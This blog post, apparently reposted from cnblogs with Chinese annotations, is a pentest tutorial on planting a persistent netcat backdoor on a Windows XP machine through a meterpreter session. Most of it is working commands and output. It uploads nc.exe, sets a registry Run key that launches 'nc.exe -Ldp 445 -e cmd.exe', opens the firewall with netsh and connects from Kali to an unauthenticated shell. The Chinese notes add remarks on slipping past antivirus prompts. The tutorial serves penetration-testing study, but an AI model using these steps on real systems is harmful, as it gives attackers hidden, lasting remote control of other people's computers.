Persistent Netcat Backdoor

　　In this example, instead of looking up information on the remote system, we will be installing a netcat backdoor. This includes changes to the system registry and firewall.

First, we must upload a copy of netcat to the remote system.

meterpreter > upload /pentest/windows-binaries/tools/nc.exe C:\\windows\\system32
[*] uploading  : /tmp/nc.exe -> C:\windows\system32
[*] uploaded   : /tmp/nc.exe -> C:\windows\system32nc.exe

　　Afterwards, we work with the registry to have netcat execute on start up and listen on port 445. We do this by editing the key ‘HKLM\software\microsoft\windows\currentversion\run’.

meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
Enumerating: HKLM\software\microsoft\windows\currentversion\run

  Values ():

    VMware Tools
    VMware User Process
    quicktftpserver

meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 445 -e cmd.exe'
Successful set nc.
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
Key: HKLM\software\microsoft\windows\currentversion\Run
Name: nc
Type: REG_SZ
Data: C:\windows\system32\nc.exe -Ldp  -e cmd.exe

　　使用命令行自带的reg命令也行， 前提是系统杀毒软件不出提示:

REG ADD HKLM\software\microsoft\windows\currentversion\run /v nc /t REG_SZ /d "c:\xxx.exe"

　　Next, we need to alter the system to allow remote connections through the firewall to our netcat backdoor. We open up an interactive command prompt and use the ‘netsh’ command to make the changes as it is far less error prone than altering the registry directly. Plus, the process shown should work across more versions of Windows, as registry locations and functions are highly version and patch level dependent.

meterpreter > execute -f cmd -i
Process  created.
Channel  created.
Microsoft Windows XP [Version 5.1.]
(C) Copyright - Microsoft Corp.

C:\Documents and Settings\Jim\My Documents > netsh firewall show opmode
Netsh firewall show opmode

Domain profile configuration:
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable

Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable

Local Area Connection firewall configuration:
-------------------------------------------------------------------
Operational mode                  = Enable

　　We open up port 445 in the firewall and double-check that it was set properly.

C:\Documents and Settings\Jim\My Documents > netsh firewall add portopening TCP  "Service Firewall" ENABLE ALL
netsh firewall add portopening TCP  "Service Firewall" ENABLE ALL
Ok.

C:\Documents and Settings\Jim\My Documents > netsh firewall show portopening
netsh firewall show portopening

Port configuration for Domain profile:
Port   Protocol  Mode     Name
-------------------------------------------------------------------
    TCP       Enable   NetBIOS Session Service
    TCP       Enable   SMB over TCP
    UDP       Enable   NetBIOS Name Service
    UDP       Enable   NetBIOS Datagram Service

Port configuration for Standard profile:
Port   Protocol  Mode     Name
-------------------------------------------------------------------
    TCP       Enable   Service Firewall
    TCP       Enable   NetBIOS Session Service
    TCP       Enable   SMB over TCP
    UDP       Enable   NetBIOS Name Service
    UDP       Enable   NetBIOS Datagram Service

C:\Documents and Settings\Jim\My Documents >

　　So with that being completed, we will reboot the remote system and test out the netcat shell.

root@kali:~# nc -v 172.16.104.128
172.16.104.128: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [172.16.104.128]  (?) open
Microsoft Windows XP [Version 5.1.]
(C) Copyright - Microsoft Corp.

C:\Documents and Settings\Jim > dir
dir
Volume in drive C has no label.
Volume Serial Number is E423-E726

Directory of C:\Documents and Settings\Jim

// : AM
.
// : AM
..
// : AM  ;i
// : PM
Desktop
// : PM
Favorites
// : PM
My Documents
// : AM  QCY
// : AM
Start Menu
// : AM  talltelnet.log
// : AM  talltftp.log
 File(s)  bytes
 Dir(s) ,,, bytes free

C:\Documents and Settings\Jim >

　　Wonderful! In a real world situation, we would not be using such a simple backdoor as this, with no authentication or encryption, however the principles of this process remain the same for other changes to the system, and other sorts of programs one might want to execute on start up.

　　.使用sc创建自定义服务，留下后门， 但是有个问题是360还是会提示， 防止注册表被写入

作者： NONO
出处：http://www.cnblogs.com/diligenceday/

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